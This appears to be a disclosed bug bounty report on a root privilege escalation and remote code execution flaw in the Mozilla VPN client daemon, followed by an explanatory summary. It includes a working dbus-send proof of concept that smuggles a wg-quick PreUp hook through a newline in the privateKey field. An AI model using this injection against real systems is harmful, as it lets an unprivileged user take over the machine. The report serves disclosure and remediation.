Remote code execution and privilege escalation in mozilla-vpn-client
The MozillaVPN daemon running as root did not validate method call parameters, allowing an unprivileged user to inject wg-quick hooks via a newline in the private key and execute code as root. A compromised server list could also deliver malicious parameters to achieve the same result.
- Fixed in 17 months
- Paid in 12 days
- Disclosed after 17 months
The MozillaVPN daemon which runs as root doesn't validate the method call
parameters given to it.
This means that the input parameters can contains a newline followed by one of
the hooks accepted by wg-quick (PreUp, PostUp, PreDown, PostDown) to have code
execution. Because wg-quick runs as root, the executed hooks are also executed
as root.
There are 2 ways to exploit this:
Firstly, an unprivileged user can perform a malicious method call leading to a
privilege escalation. Proof of concept (the relevant part is the value of
`privateKey`, which has a newline followed by a hook appended to it):
'''
$ whoami
attacker
$ dbus-send --system --dest=org.mozilla.vpn.dbus --type=method_call / org.mozilla.vpn.dbus.activate string:"{\"allowedIPAddressRanges\":[{\"address\":\"0.0.0.0\",\"isIpv6\":false,\"range\":0},{\"address\":\"::0\",\"isIpv6\":true,\"range\":0}],\"deviceIpv4Address\":\"10.66.237.81/32\",\"deviceIpv6Address\":\"fc00:bbbb:bbbb:bb01::3:ed50/128\",\"ipv6Enabled\":true,\"privateKey\":\"viz1lkL0+Hb/fPs6GXr6lvirqwMFnBq6MtWtsAGy6ds=\\nPreUp = whoami > /tmp/whoami2\",\"serverIpv4AddrIn\":\"89.45.6.114\",\"serverIpv4Gateway\":\"10.64.0.1\",\"serverIpv6AddrIn\":\"2001:ac8:92:5::a04f\",\"serverIpv6Gateway\":\"fc00:bbbb:bbbb:bb01::1\",\"serverPort\":47653,\"serverPublicKey\":\"ZTPHtQfr9FOhws6SQ+uQzeUn5atv8m72QOF+7jaBmDM=\"}"
$ cat /tmp/whoami2
root
'''
Secondly, if the server list (`https://vpn.mozilla.org/api/v1/vpn/servers`)
served over the network is compromised, the same thing can occur by having a
malicious server address given in the same way a malicious private key is used in
the above proof of concept.
Possible scenarios under which the server list can be compromised (neither of
which should lead to the party having control over the relay list to be able to
have code execution):
* Mozilla servers are compromised
* A certificate is installed on the target machine allowing a man-in-the-middle
attack.
Both exploit rely on the fact the parameters given to the daemon are not
validated however fixing the RCE (by using certificate pinning for example)
doesn't necessarily fix the privilege escalation.
Possible fixes:
* Validate the parameters in the daemon, here:
https://github.com/mozilla-mobile/mozilla-vpn-client/blob/07968ddf491542237b7cc5e7e734afad341affab/src/wgquickprocess.cpp#L39
* Validate the data returned from the server (should not be necessary if the
daemon validates it already however it is best to be safe)
* In the scenario, where a man-in-the-middle attack is performed, certificate
pinning can fix the issue (although it still allows for privilege escalation
and a remote code execution can still be performed in the case where mozilla
servers are compromised)
I haven't tried on MacOS however, I suspect the vulnerabilities are also present
there as wg-quick is used and the input is not validated. This should not affect
Windows as hooks are not supported there however, I do believe it is best to
validate the input there as well.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The daemon passed unvalidated user-controlled strings into wg-quick configuration, where newline characters allowed injection of hook directives.
Impact
An unprivileged local user could escalate to root, and a compromised server list or man-in-the-middle could lead to remote code execution as root.
What the attacker needed
Local access to the machine; MozillaVPN daemon running as root; wg-quick supports hooks (not Windows)
The fix
The daemon should validate the parameters it receives, and the client should also validate data returned from the server; certificate pinning can mitigate the man-in-the-middle scenario.
How it was found
- An unprivileged user sends a method call to the MozillaVPN daemon with a crafted privateKey value containing a newline and a wg-quick hook.
- The daemon passes the value to wg-quick, which executes the hook as root.
- The user observes the command output, confirming root execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A background service (daemon) that runs with full system rights accepted input from ordinary users without checking it. By sneaking a special instruction into that input, a normal user could make the service run their own commands with full rights, taking over the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.